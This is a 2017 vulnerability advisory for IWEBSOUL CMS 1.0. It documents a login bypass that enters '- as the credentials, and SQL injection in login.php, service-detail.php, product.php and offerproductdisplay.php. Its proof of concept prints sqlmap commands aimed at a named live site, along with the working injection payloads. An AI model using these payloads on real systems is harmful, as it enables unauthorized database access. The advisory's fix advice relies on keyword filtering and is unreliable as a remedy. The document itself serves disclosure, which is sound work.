Title:
=======
IWEBSOUL CMS - Multiple SQL Injection Vulnerabilities & Authentication Bypass
Introduction:
==============
Intrepid Websoul Private Limited - iWebsoul is a rapidly growing IT Solution provider in India.
Team comprehensively works to create a unique business and industry based solution for their customers.
They customize solutions and tailor it according to the needs of our clients keeping in mind their vision and target audience.[iWbeSoul]
Vulnerability Disclosure:
==========================
2017-09-06: Public Disclosure
Affected Product(s):
=====================
IWEBSOUL CMS 1.0
Exploitation Technique:
========================
Remote
Severity Level:
================
High
Technical Details & Description:
=================================
An auth bypass session vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application.
The session vulnerability allows remote attackers to unauthorized access the web user interface.
The vulnerability is located in the session credentials request of the login.php file. Remote attackers are able to use a '- SQL Injection payload to bypass the login.php script validation.
This is results in unauthorized access. The issue is a classic auth bypass and is remote exploitable. The request method to inject is POST.
Request Method(s):
[+] POST
Vulnerable Funcitons(s):
[+] login.php
Affected Module(s):
[+] Web User Interface
A remote SQL Injection web vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application.
The vulnerability allows remote attackers to execute own sql commands to compromise the web-server or dbms.
The vulnerability is located in the `type` parameter of the `service-detail.php` file GET method request.
Request Method(s):
[+] GET
Vulnerable Function(s):
[+] service-detail.php
Vulnerable Parameter(s):
[+] type
And the other SQL injection is located in the `catid`, 'scatid' & 'typeid' parameters of the `product.php` file GET method request.
Request Method(s):
[+] GET
Vulnerable Function(s):
[+] product.php
Vulnerable Parameter(s):
[+] catid
[+] scatid
[+] typeid
More SQL Injection is located in the 'id' paramater of the 'offerproductdisplay.php' file GET method request.
Request Method(s):
[+] GET
Vulnerable Function(s):
[+] offerproductdisplay.php
Vulnerable Parameter(s):
[+] id
Proof of Concept (PoC):
========================
An Auth bypass vulnerability can be exploited by remote attackers without privilege application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability.
1 . Open the vulnerable web-app
2 . Start to browse the website and go to http://www.bumalow.com/login.php
3 . Enter Username:'-
4 . Enter Password:'-
5 . Now you will login with the credentials
6 . Successful reproduce of the auth bypass login vulnerability!
The remote sql-injection vulnerability can be exploited by remote attackers with privilege web-application user account and without user interaction.
The security demonstration reproduce the web vulnerability exploitation using SQLmap.
renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com/service-detail.php?type=1" --current-db --random-agent --dbms=mysql --threads=8
---
Parameter: type (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: type=-7101' OR 4159=4159#
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: type=1' OR (SELECT 2319 FROM(SELECT COUNT(*),CONCAT(0x716b707071,(SELECT (ELT(2319=2319,1))),0x716b717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HVPB
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: type=1' OR SLEEP(5)-- dKVd
---
renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com/product.php?catid=1" --current-db --random-agent --dbms=mysql --threads=8
---
Parameter: catid (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: catid=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: catid=1 UNION ALL SELECT CONCAT(0x71786a6271,0x68686e537353764743507264565a7a6673496f70454f7475655846614e5243664f68634a57414761,0x7176787671),NULL,NULL,NULL-- jApP
---
renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com//offerproductdisplay.php?id=1" --current-db --random-agent --dbms=mysql --threads=8
---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)
---
Solution
=========
In order to avoid SQL Injection it is important to validate all non-SQL text entries, not allowing special characters and SQL key words to be written, such as INSERT, DELETE, UPDATE, HAVING, JOIN, etc.
It is interesting to set a maximum of characters for passwords and users.
Treat errors appropriately, for messages that do not expose attackers to information about a data structure.
Credits
========
Felipe "Renzi" Gabriel
Contact
========
renzi@linuxmail.org
References
==========
https://www.owasp.org/index.php/Top_10_2013-A1-Injection
https://www.iwebsoul.com/about-iwebsoul.php